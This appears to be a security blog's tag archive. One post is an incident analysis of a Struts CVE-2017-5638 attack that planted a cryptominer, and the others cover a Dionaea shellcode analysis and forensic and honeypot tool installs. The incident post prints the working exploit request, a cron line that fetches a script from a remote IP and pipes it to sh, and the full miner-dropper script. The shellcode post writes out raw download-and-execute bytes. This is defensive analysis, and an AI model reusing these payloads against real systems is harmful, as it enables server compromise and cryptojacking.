Tag Archives: forensic

Shell hiding in image files

One day, we noticed strange GET request towards our JBoss server:

GET /login.action   HTTP/1.1
Host: X.X.X.X
Connection: keep-alive 
Accept-Encoding: gzip, deflate 
Accept: */* 
User-Agent: Mozilla/5.0 
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} 

From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.

The request tried to execute command below:

#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -'

Some explanations:
“-O” : writes the documents to file.
“-” : if is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)

As you see, it tried to fetch a .jpg file from 91.230.47.41. Seems normal right?
Let’s fetch that file & take a look inside it:

[email protected]:~/a# file logo.jpg
logo.jpg: POSIX shell script, ASCII text executable

ASCII?? Not JPG?? hmm..
Lets see what’s inside the “logo.jpg” file:

[email protected]:~/a# cat logo.jpg
#!/bin/sh
rm -rf /tmp/systemd-logind
rm -rf /tmp/logind.conf
rm -rf /tmp/kworker
rm -rf /tmp/kworker.conf
rm -rf /tmp/kauditd.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f qivtpwwuxs
ps auxf|grep -v grep|grep -v smzgmilpdo|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qivtpwwuxs"|awk '{print $2}'|xargs kill -9
ps -fe|grep smzgmilpdo|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/smzgmilpdo.conf
rm -rf /tmp/smzgmilpdo.conf
curl -o /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
wget -O /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c smzgmilpdo.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!

Here is the config file:
http://91.230.47.41/pics/kworker.conf

{{
    "url" : "stratum+tcp://212.129.44.157:80",
    "url" : "stratum+tcp://212.129.46.87:80",
    "url" : "stratum+tcp://212.129.44.156:80",
    "url" : "stratum+tcp://212.129.46.191:80",
    "url" : "stratum+tcp://62.210.29.108:80",
    "url" : "stratum+tcp://212.83.129.195:80",
    "url" : "stratum+tcp://212.129.44.155:80",
    "user" : "466iRjZzJZZWAqzV24ywY8XMVNkp9hj8UJiBEf61Eui6Nw8bEAJ1z434LWM3SKdaDyH7zgNY64rgg2fYmw8cbP5uBjpMA8g",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Not sure it is. Maybe some sort of config file for cryptomining. Lets analyze the other 2 files.

First file: http://91.230.47.41/pics/kworker

[email protected]:~/91.230.47.41# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

hmm.. an executable Linux file..
Lets see if the file is packed:

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2979640 ->   1217152   40.85%  linux/ElfAMD   kworker

Yup. so lets unpacked the file using UPX:

[email protected]:~/91.230.47.41# upx -d kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2980813 <-   1217152   40.83%  linux/ElfAMD   kworker

Unpacked 1 file.

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker1: NotPackedException: not packed by UPX

Another file: http://91.230.47.41/pics/kworker_na

[email protected]:~/91.230.47.41# file kworker_na
kworker_na: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0eedc33c49aeb80818a839a9b23cf159c710e443, stripped

[email protected]:~/91.230.47.41# upx -l kworker_na
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker_na: NotPackedException: not packed by UPX

Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. 🙂

Here the MD5 for file above:

211e98ac0686fe98d06570ad0689e9b3  logo.jpg
d2a01b844521fb141b8449f4d8e1c821  kworker.conf
483b322b42835227d98f523f9df5c6fc  kworker (upx packed)
4fa4269b7ce44bfce5ef574e6a37c38f  kworker (upx unpacked)
131df88b7d0b3e7a1c4d84c37e71fb60  kworker_na

Installing bulk_extractor on Mac OS X

All reference is taken at here: https://github.com/simsong/bulk_extractor/wiki/Installing-bulk_extractor

bulk_extractor is a computer forensics tool that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. The results can be easily inspected, parsed, or processed with automated tools.

To install bulk_extractor, first install required library via Macports:

sudo port install flex autoconf automake pkgconfig

All install dev library:

sudo port install libewf openssl tre libxml2

Download libewf source code:

https://github.com/libyal/libewf

Then install libewf from source (because libewf via ports too old):

./configure
make
sudo make install
sudo ldconfig./configure
make
sudo make install
sudo ldconfig

Dionaea simple analysis

For this analysis, we’ll using Python3 that bundled with Dionaea:

/opt/dionaea/bin/python3

Running command above will open a Python console. Enter the code below line by line:

f = open('/tmp/test.bin','wb+')
f.write(b'\\\x00EJinvSWwBRCQvkpxpigFPYgLEznJUFvXdgKGNqynVDlchFrVWzDhuvssAiCzTVCXwMERZNFfiqOpAyLjJojswpKHzIwBaYQMAxYe\xe8\xff\xff\xff\xff\xc2_\x8dO\x10\x801\xc4Af\x819MSu\xf58\xae\xc6\x9d\xa0O\x85\xeaO\x84\xc8O\x84\xd8O\xc4O\x9c\xccIse\xc4\xc4\xc4,\xed\xc4\xc4\xc4\x94&amp;<O8\x92;\xd3WG\x02\xc3,\xdc\xc4\xc4\xc4\xf7\x16\x96\x96O\x08\xa2\x03\xc5\xbc\xea\x95;\xb3\xc0\x96\x96\x95\x92\x96;\xf3;$i\x95\x92QO\x8f\xf8O\x88\xcf\xbc\xc7\x0f\xf72I\xd0w\xc7\x95\xe4O\xd6\xc7\x17\xcb\xc4\x04\xcb{\x04\x05\x04\xc3\xf6\xc6\x86D\xfe\xc4\xb11\xff\x01\xb0\xc2\x82\xff\xb5\xdc\xb6\x1fO\x95\xe0\xc7\x17\xcbs\xd0\xb6O\x85\xd8\xc7\x07O\xc0T\xc7\x07\x9a\x9d\x07\xa4fN\xb2\xe2Dh\x0c\xb1\xb6\xa8\xa9\xab\xaa\xc4]\xe7\x99\x1d\xac\xb0\xb0\xb4\xfe\xeb\xeb\xf5\xfc\xfc\xea\xf6\xf0\xf1\xea\xf7\xf6\xea\xf6\xf5\xf4\xfe\xfc\xf5\xf0\xf3\xeb\xaf\xa7\xa2\xa8\xc4MSemnHqZkZyHIFmbZQCywHscutahhWhoSewiPdNFaPfofpeZVQgyybFqBlGSeBYAPgirfoIOMFQCVIOhuNxscDcxyqJfxgMhahsgjEvYZWarkAkGUWFEWHrnRvYCubVUJnOgsKyupLJGkVCRQwYGcQPSuIsYJmBSVIcLnDXRxnDOkAvmXjHktND\\\x00.\x00.\x00\\\x00.\x00.\x00\\\x00A\x00I\x00O\x00J\x00L\x00P\x00D\x00\x08\x04\x02\x00$\xcb\x01xVFAS$\xcb\x01xSNKBQTVPYYTZISATHHFZEPMNQBWWBDGZDXJNVJAZLX\x92J$\xb6\x97\x03\xf57\xebZRQNXKFGQWT\x00\x00')
f.close()
exit()

It will produce test.bin file in /tmp/ folder.

Now we analyze the file test.bin using sctest and dump the output into test.txt:

/opt/dionaea/bin/sctest -S -g -v -s 1000000 < /tmp/test.bin >> test.txt

If you see inside test.txt, you should see something like this:

[email protected]:~# cat test.txt
verbose = 1
success offset = 0x00000068
[emu 0x0xac40e0 info ] The following function is a stub instr_sldt_0f00 functions/misc.c:290
<snip>
Hook me Captain Cook!
userhooks.c:132 user_hook_ExitThread
ExitThread(0)
stepcount 85067
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00417116 =>
           = "urlmon";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x00417121 =>
           = "http://188.245.32.210:8147/kcfl";
     LPCTSTR szFileName = 0x00416fbe =>
           = "x.";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x00416fbe =>
           = "x.";
) = 0x00000000;
void ExitThread (
     DWORD dwExitCode = 0;
) =  0;

As you can see, the malicious URL is hxxp://188.245.32.210:8147/kcfl

Reference: https://sourceforge.net/p/nepenthes/mailman/message/26862416/

Maltrieve on Mac OS X

Maltrieve originated as a fork of mwcrawler. It retrieves malware directly from the sources as listed at a number of sites, including:

  • Malc0de
  • Malware Black List
  • Malware Domain List
  • VX Vault
  • URLqery
  • CleanMX

If you want to install maltrieve on your Mac OS X, below is the steps to install it.

  • First, install beautifulsoup4 via pip
sudo pip install beautifulsoup4
  • Install required dependencies via apt-get
sudo port install libxml2 libxslt py-lxml
  • Download maltrieve from github
sudo git clone https://github.com/technoskald/maltrieve.git
cd maltrieve
python maltrieve.py -d pull -l maltrieve.log

Done. Now you can use the Maltrieve on your Mac OS X.

Script to install Thug honeypot on Ubuntu 12.04

Thug is a Python low-interaction honeyclient aimed at mimicking the behaviour of a web browser in order to detect and emulate malicious contents. It based on Python + V8 JS engine. You can go to the website or google to understands more about this awesome application.

So, here I share to you a script that automate the building and compiling Thug honeypot + V8 on Ubuntu machine:

#!/bin/bash

#Install some dependencies for the building process
sudo apt-get install -y autoconf build-essential git-core scons subversion libboost-dev libboost-python-dev libboost-thread-dev libboost-system-dev libtool mongodb python-bs4 python-chardet python-cssutils python-dev python-html5lib python-httplib2 python-zope.interface python-pymongo python-pefile python-setuptools

sudo easy_install beautifulsoup4

#Obtaining libemu via Git
cd /tmp/
git clone git://git.carnivore.it/libemu.git

#Configure and install
cd /tmp/libemu/
autoreconf -v -i
./configure –enable-python-bindings –prefix=/opt/libemu
sudo make install
sudo ldconfig -n /opt/libemu/lib

#Obtaining pylibemu via Git
cd /tmp/
git clone https://github.com/buffer/pylibemu.git

#Build and install
cd /tmp/pylibemu/
sudo sh -c “echo /opt/libemu/lib > /etc/ld.so.conf.d/pylibemu.conf”
python setup.py build
sudo python setup.py install

#Obtain the codes via svn and git
cd ~
git clone https://github.com/buffer/thug.git
cd ~/thug/
svn checkout http://v8.googlecode.com/svn/trunk/ v8

#Apply the Thug’s patch for V8
cp patches/V8-patch* .
patch -p0 < V8-patch1.diff
rm V8-patch*

#Build and compile python wrapper for V8. This process will compile the V8 engine at the same time
cd /tmp/
svn checkout http://pyv8.googlecode.com/svn/trunk/ pyv8
export V8_HOME=$HOME/thug/v8
cd pyv8
python setup.py build
sudo python setup.py install

I really appreciate if you can share with me your experience using this software in production/real-life. 🙂 

Diskscrub – Erase your drive until unable to recover

Diskcrub

scrub overwrites hard disks, files, and other devices with repeating patterns intended to make recovering data from these devices more difficult. Although physical destruction is unarguably the most reliable method of destroying sensitive data, it is inconvenient and costly. For certain classes of data, organizations may be willing to do the next best thing which is scribble on all the bytes until retrieval would require heroic efforts in a lab.

So, here I share with you the step to install & use this software.
First, get latest diskscrub from code.google.com/p/diskscrub/downloads/list

Then, extract the file using this command;

Then, change the directory to the scrub folder;

To use it, just type into the terminal;

–> where sda2 is point to your drive that you want to erase.
Carefull with your drive name!

You can check you drive using command;
Unix = diskutil list
Linux = fdisk -l